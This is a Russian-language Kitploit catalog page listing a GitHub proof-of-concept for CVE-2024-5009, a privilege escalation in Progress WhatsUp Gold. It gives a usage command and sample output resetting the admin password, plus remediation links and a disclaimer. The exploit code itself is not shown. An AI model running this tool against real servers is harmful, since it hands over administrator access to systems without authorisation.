Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-5009 — Эксплойт для CVE-2024-5009 | Kitploit
Инструменты/GitHubGitHub/sinsinology/cve-2024-5009
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubsinsinology/cve-2024-5009

CVE-2024-5009

Эксплойт для CVE-2024-5009

Репозиторий
1322 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-5009

PoC для повышения привилегий через SetAdminPassword в Progress WhatsUp Gold (CVE-2024-5009)

Анализ первопричины уязвимости можно найти в моём блоге: https://summoning.team/blog/progress-whatsup-gold-privesc-setadminpassword-cve-2024-5009/

ZDI

Использование

root@kitploit:~
python3 CVE-2024-5009.py --target https://192.168.0.231/

 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |

        (*) Progress WhatsUp Gold GetFileWithoutZip Unauthenticated Remote Code Execution (CVE-2024-5009)

        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)

        (*) Technical details: https://summoning.team/blog/progress-whatsup-gold-privesc-setadminpassword-cve-2024-5009/



(^_^) Prepare for the Pwnage (^_^)

(*) Generated random password is: e9513bc41e2a9acf
(*) Escalating...
(+) Escalation done, new admin password is: e9513bc41e2a9acf

Меры по устранению

Обновитесь до последней версии или примените меры защиты, следуя инструкциям из бюллетеня безопасности Progress

  • https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-June-2024

Подписывайтесь на нас в Twitter (X), чтобы быть в курсе последних исследований в области безопасности:

  • SinSinology
  • SummoningTeam

Отказ от ответственности

Это программное обеспечение создано исключительно для академических исследований и разработки эффективных методов защиты и не предназначено для атаки на системы, за исключением случаев явного разрешения. Сопровождающие проекта не несут ответственности за неправомерное использование программного обеспечения. Используйте ответственно.

Скачать инструмент